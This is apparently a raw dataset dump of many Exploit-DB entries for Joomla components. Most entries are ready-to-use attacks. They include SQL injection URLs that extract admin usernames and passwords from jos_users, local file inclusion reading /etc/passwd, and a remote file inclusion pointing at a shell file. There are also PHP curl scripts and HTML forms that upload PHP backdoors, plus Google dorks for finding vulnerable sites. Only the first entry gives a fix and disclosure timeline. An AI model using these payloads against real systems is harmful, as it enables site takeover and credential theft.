deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27405
Description: Joomla! Component com_sectionex 2.5.96 - SQL Injection
Type: webapps
Platform: php
Date: 2013-08-07
Author: Matias Fontanini

Exploit:
-------------------------------------------------------------------------------------
Joomla com_sectionex v2.5.96 SQL Injection vulnerabilities
-------------------------------------------------------------------------------------

== Description ==
- Software link: http://stackideas.com/sectionex
- Affected versions: version 2.5.96 is vulnerable. Other versions
might be affected as well.
- Author: Matias Fontanini

== Vulnerabilities ==
When using the "category" view, the component does not correctly
sanitize the "filter_order" and "filter_order_Dir" parameters before
using them to construct SQL queries, making it vulnerable to SQL
Injection attacks.

In order to exploit these vulnerabilities, an attacker could perform
requests like the following ones:

- For the "filter_order" parameter:

POST /index.php?option=com_sectionex&view=category&id=X&Itemid=Y

filter_title=&filter_content=&limit=0&sectionid=20&filter_order=1
limit 1 offset 10000) union all (select
1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16 from
dual)%23&filter_order_Dir=DESC

- For the "filter_order_Dir" parameter:

POST /index.php?option=com_sectionex&view=category&id=X&Itemid=Y

filter_title=&filter_content=&limit=0&sectionid=20&filter_order=1&filter_order_Dir=DESC
limit 1 offset 10000) union all (select
1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16 from dual)%23

== Solution ==
Upgrade the product to the 2.5.104 version.

== Report timeline ==
[2013-07-30] Vulnerabilities reported to the developers.
[2013-07-30] Developers answered back indicating that a new release
would be made soon.
[2013-08-01] SectionEx 2.5.104 was released, which fixed the issues reported.
[2013-08-05] Public disclosure.
Exploit-DB #33756
Description: Joomla! Component com_seek - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-13
Author: DevilZ TM

Exploit:
source: https://www.securityfocus.com/bid/38711/info

The 'com_seek' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_seek&task=list1&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
Exploit-DB #14213
Description: Joomla! Component com_sef - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-05
Author: _mlk_

Exploit:
# Exploit Title: Joomla Component SEF (com_sef) - LFI Vulnerability
# Date: 04, July 2010

# Author:  _mlk_
# Software Link: http://bugsec.googlecode.com/files/Joomla_com_sef.zip
# Version: 0

# Tested on: all OS

# CVE : 0

# Code : here

Joomla Component SEF (com_sef) - Local File Inclusion Vulnerability

#########################################################################################


   [+] Discovered by : _mlk_ (Renan)

   [+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs

   [+] Homepages :  http://code.google.com/p/bugsec/
                    http://botecounix.com.br/blog/
                    http://c0d3rs.wordpress.com/

   [+] Location : Porto Alegre - RS, Brasil
                         (or Brazil)

#########################################################################################


      [-] Information

   [?] Script : SEF (Search Engine Friendly)

   [?] Home Script : http://www.joomla.com/

   [?] Dork/String :  "index.php?option=com_sef" / "com_sef"

   [?] Date :  04, July 2010


-----------------------------------------------------------------------------------------


      [*] Parameters vuls :

         view
         controller


-----------------------------------------------------------------------------------------


      [*] Example :

         http://localhost/index.php?option=com_sef&controller=[LFI]%00
         http://localhost/[PATH]/index.php?option=com_sef&controller=[LFI]%00


-----------------------------------------------------------------------------------------


      [*] Demo :

         http://<server>/index.php?option=com_sef&controller=
         ../../../../../../../../../../../../../../../etc/passwd%00


#########################################################################################


    [~] Agradecimentos :

        Deus , Familiares , Amigos e Tricolor Gaúcho (Grémio) .
        Em especial "m0nad" ( capitao caverna \o/ ) .


#########################################################################################
Exploit-DB #14055
Description: Joomla! Component com_sef - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-26
Author: Li0n-PaL

Exploit:
==========================================================
Joomla Component (com_sef) RFI
===========================================================

                                          WWw.HaCkTeacH.oRg/cc
                                                                                         
+===================================================================================+
[?]Joomla Component (com_sef) RFI
+===================================================================================+
    [?] My home:              [http://HaCkTeCh.Org/cc           ]
    [?] For Ask:              [F5w@hotmail.com                   ]
    [?] Script:               [     joomla                ]
    [?] home Script           [ http://www.joomla.com/app             ]
    [?] Language:             [ PHP                              ]
    [?] Founder:              [ Li0n-PaL                         ]
    [?] Gr44tz to:            [ Pal-Li0n - Red-D3v1L - Shadow-D3v1L - All HaCkTeacH CreW ]

===[ Exploit  ]===
http://localhost/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=[shell.txt?]

DeMo ~

http://www.example.com/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http://[remote-server]/[file]%00


EnJoY o_O

---------------------------------------------------------

./exit
Exploit-DB #12060
Description: Joomla! Component com_serie - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-04
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_serie SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-05

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_serie SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l.blackhat
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_serie&Itemid=126&menu=show_spieler&spielerid=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_serie&Itemid=126&menu=show_spieler&spielerid=-1+UNION+SELECT+1,2,3,4,5,6--



  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #14183
Description: Joomla! Component com_seyret - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-03
Author: Cooler_ unix

Exploit:
# Exploit Title: Joomla Component Seyret (com_seyret)
# Date: 2010-06-26
# Author:  _mlk_   
# Software Link: null
# Version: null 
# Tested on: Linux*,*BSD and *windows
# CVE : null
# Code : on paper 
Joomla Component Seyret (com_seyret) - Local File Inclusion Vulnerability

#############################################################################################################################


   [+] Discovered by : _mlk_ (Renan)

   [+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs

   [+] Homepages :  http://code.google.com/p/bugsec/  <>  http://botecounix.com.br/blog/  <>  http://c0d3rs.wordpress.com/

   [+] Location : Porto Alegre - RS, Brasil
                         (or Brazil)

#############################################################################################################################


      [-] Information

   [?] Script : Seyret

   [?] Vendor :  http://joomlaholic.com/

   [?] Dork/String :  "index.php?option=com_seyret" / "com_seyret"

   [?] Download : http://joomlaholic.com/downloads/

   [?] Date :  02, July 2010


#############################################################################################################################


      [*] Example :

         http://localhost/index.php?option=com_seyret&view=[LFI]%00
         http://localhost/[PATH]/index.php?option=com_seyret&view=[LFI]%00


#############################################################################################################################


      [*] Solution :

         Make a function that scans and reads the inclusion of paths and chars(%00) .


#############################################################################################################################


    [~] Agradecimentos :

        Deus , Familiares , Amigos e Tricolor Ga�cho (Gr�mio) .
        Em especial "Cooler_" .


#############################################################################################################################
Exploit-DB #36227
Description: Joomla! Component com_sgicatalog 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-12
Author: BHG Security Center

Exploit:
source: https://www.securityfocus.com/bid/50072/info

The Sgicatalog component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sgicatalog 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?option=com_sgicatalog&task=view&lang=en&id=[SQLi]
Exploit-DB #36222
Description: Joomla! Component com_shop - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-11
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/50043/info

The 'com_shop' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_shop&view=details&id=-29 union select 0,1,2,version(),4,5,6,7,8,9,10,11,12
Exploit-DB #35797
Description: Joomla! Component com_shop - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-25
Author: ThunDEr HeaD

Exploit:
source: https://www.securityfocus.com/bid/47971/info

The 'com_shop' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_shop&task=viewproduct&editid=[SQLi]
Exploit-DB #9510
Description: Joomla! Component com_siirler 1.2 - 'sid' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-25
Author: v3n0m

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|                                                                             |
| Joomla <= 1.5.x Component com_siirler 1.2 (sid) SQL Injection Vulnerability |
|                                                                             |
|                                                                             |
|	=================[Author]==================                           |
|									      |
|	[+] Founded 	: v3n0m						      |
|	[+] Contact	: v3n0m666[at]live[dot]com	 		      |
|	[+] Blog	: http://0wnage.wordpress.com/			      |
|	[+] Group	: YOGYACARDERLINK				      |
|	[+] Site	: http://yogyacarderlink.web.id/		      |
|	[+] Date	: August, 25th 2009 [INDONESIA]			      |
|									      |
|	================[Soft Info]================			      |
|									      |
|	Software: Siirler Bileseni					      |
|	Version	: 1.2 RC (Legacy)					      |
|	Vendor	: http://www.qproje.com/				      |
|	License	: GNU/GPL						      |
|									      |
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


[-] Exploit:
[+] +and+1=2+union+select+concat(username,char(58),password)+from+jos_users--

[-] SQLi p0c:
[+] http://localhost/[path]/index.php?option=com_siirler&task=sdetay&sid=[xxx]+and+1=2+union+select+concat(username,char(58),password)+from+jos_users--
    [xxx] = Valid sid number

[+] Demo Live:
[-] http://demo.qproje.com/j15x/index.php?option=com_siirler&task=sdetay&sid=364+and+1=2+union+select+concat(username,char(58),password)+from+jos_users--


===========================
[+]   Greetz & Thanks	[+]
===========================
RedLine Crew	: Bang Musa,Mas Andre,Dagol,Yazid,Ogie
YOGYACARDERLINK	: leQhi,lingah,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,
		  aRiee,yoga0400,ghareng,eidelweiss,pKi,kaka11

g0t inspiration in my bedroom when i was flashback my mind about jogja & jovita
PROUD TO BE INDONESIAN-

# milw0rm.com [2009-08-25]
Exploit-DB #11294
Description: Joomla! Component com_simplefaq - 'catid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-30
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_simplefaq (catid) Blind Sql Injection Vulnerability
=========================================================================

###########################################
.:. Author : AtT4CKxT3rR0r1ST
.:. Team : Sec Attack Team
.:. Email : F.Hack@w.cn
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_simplefaq
.:. Script Download: http://www.parkviewconsultants.com/component/option,com_mosipn/page,free/
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:"com_simplefaq"
#############################################

===[ Exploit ]===

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70[Blind Injection]&page=1#FAQ5

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False


===[ Example ]===

http://server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True

http://server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False

#############################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #37364
Description: Joomla! Component com_simpleimageupload - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-06-24
Author: CrashBandicot

Exploit:
# Exploit Title: Joomla Simple Image Upload - Arbitrary File Upload
# Google Dork: inurl:option=com_simpleimageupload
# Date: 23.06.2015
# Exploit Author: CrashBandicot @DosPerl
# Vendor Homepage: http://tuts4you.de/
# Software Link: http://tuts4you.de/96-development/156-simpleimageupload
# Version: 1.0
# Tested on: MsWin32

# Vuln Same to Com_Media Vulnerability

# Live Request :

POST /index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]17068


----------------------------[PII_REDACTED]17068\r\n
Content-Disposition: form-data; name="Filedata"; filename="L0v3.php."\r\n
Content-Type: application/x-php\r\n
\r\n
0wn3d ! ;)\r\n
----------------------------[PII_REDACTED]17068\r\n
Content-Disposition: form-data; name="return-url"\r\n
\r\n
aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=\r\n
----------------------------[PII_REDACTED]17068--\r\n


# Exploit :

<?php 

echo '<form action="#"  method="post" enctype="multipart/form-data">
<input type="text" name="target" value="www.localhost.com" /><input type="submit" name="Pwn" value="Pwn!" />
</form>';


if($_POST) { 
	
	$target = $_POST['target'];

$file = "0wn3d ! ;)"; 
$header = array("Content-Type: application/x-php",
"Content-Disposition: form-data; name=\"Filedata\"; file=\"L0v3.php.\"");

$ch = curl_init("http://".$target."/index.php?option=com_simpleimageupload&task=upload.upload&tmpl=component");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36");
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$file", "return-url" => "aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=",)); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$result = curl_exec($ch);
curl_close($ch);
print "$result";

} else { die(); }
?>


# Path of File : 127.0.0.1/images/[Rand0mString]L0v3.php
# Sh00t to Mr_AnarShi-T;
Exploit-DB #36373
Description: Joomla! Component com_simplephotogallery 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-03-10
Author: CrashBandicot

Exploit:
######################################################################
# Exploit Title: Joomla Simple Photo Gallery - Arbitrary File Upload
# Google Dork: inurl:com_simplephotogallery
# Date: 10.03.2015
# Exploit Author: CrashBandicot @DosPerl
# My Github: github.com/CCrashBandicot
# Vendor Homepage: https://www.apptha.com/
# Software Link: https://www.apptha.com/category/extension/joomla/simple-photo-gallery
# Version: 1
# Tested on: Windows
######################################################################
 
# Vulnerable File : uploadFile.php
# Path : /administrator/components/com_simplephotogallery/lib/uploadFile.php
 
20.   $fieldName = 'uploadfile';
87.      $fileTemp = $_FILES[$fieldName]['tmp_name'];
94.         $uploadPath = urldecode($_REQUEST["jpath"]).$fileName;
96.      if(! move_uploaded_file($fileTemp, $uploadPath))
 
 
# Exploit :
 
<form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/uploadFile.php" enctype="multipart/form-data" >
    <input type="file" name="uploadfile"><br>
    <input type="text" name="jpath" value="..%2F..%2F..%2F..%2F" ><br>
    <input type="submit" name="Submit" value="Pwn!">
</form>
 
# Name of Shell Show you after Click on Pwn!, Name is random (eg : backdoor__FDSfezfs.php)
 
# Shell Path : http://localhost/backdoor__[RandomString].php
Exploit-DB #36385
Description: Joomla! Component com_simplephotogallery 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2015-03-16
Author: Moneer Masoud

Exploit:
#======================================================================================
#  Title : Joomla Simple Photo Gallery - SQL injection
#
#  Author : Mr.Moneer
#
#  Dork Google 1: inurl:/com_simplephotogallery site:com
#  Dork Google 2: inurl:/com_simplephotogallery site:org
#  Dork Google 3: inurl:/com_simplephotogallery site:fr
#  Dork Google 4: inurl:/com_simplephotogallery/
#
# Date : 13-03-2015
#
#
# Vendor Homepage: https://www.apptha.com/
#
# Source Plugin:
https://www.apptha.com/category/extension/joomla/simple-photo-gallery
#
# Version : 1
#
# Tested on : sqlmap
#
#======================================================================================
#
#  Example :
#
#
http://www.site.com/index.php?option=com_simplephotogallery&view=images&albumid=[Sqli]
#
#
#  video Demo :  http://youtu.be/-QjCMAB3vrg
#
#   facebook : https://www.facebook.com/moneer.massoud
#   youtube  : https://www.youtube.com/user/moneermasoud
#   google+  : https://plus.google.com/u/0/+moneermassoud
#
#
#
#   Greets To : Alansary | Moad Hack | Ly Ghost
#
#======================================================================================
Exploit-DB #14501
Description: Joomla! Component com_SimpleShop - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-29
Author: UnD3rGr0unD W4rri0rZ

Exploit:
==============================================================
Joomla Component (com_simpleshop) SQL Injection Vulnerability
==============================================================

###########################
Title : Joomla Component (com_simpleshop) SQL Injection Vulnerability
Script : Joomla Galore Simple Shop
Date : 07/26/2010
Author : UnD3rGr0unD W4rri0rZ
Vendor : http://galore.co.za/ 
Dork : inurl:"option=com_simpleshop" & inurl:"viewprod"
###########################   
         
[ Vulnerable File ]
     
[path]/index.php?option=com_simpleshop&Itemid=xx&task=viewprod&id=[SQL]

[SQL]:

id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--

Xpl
index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--

##############################################################   
#==================================================
#{~} I am HeaDShoT(tunisian muslim hacker) From UnD3rGr0unD W4rri0rZ  {~}
#
#cont@ct:
#pwz@hotmail.Fr
#
#{~} there is always one who intelligent more than you do you should be optimistic  {~}
#==================================================
#all greetZ to allah
#&
# my friends
# M4MIM4N // L363ND //Meher Assel // Ghost_tn //ta3lab el maker // Th3 m3t4l-m4n
#
##############################################################
Exploit-DB #37378
Description: Joomla! Component com_simpleswfupload - 'uploadhandler.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-12
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53968/info

The Simple SWFUpload component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Simple SWFUpload 2.0 is vulnerable;other versions may also be affected. 

<?php

$uploadfile="lo.php.gif";

$ch = 
curl_init("http://www.exemple.com/administrator/components/com_simpleswfupload/uploadhandler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
                array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.exemple.com/images/stories/lo.php.gif

lo.php.gif
<?php
phpinfo();
?>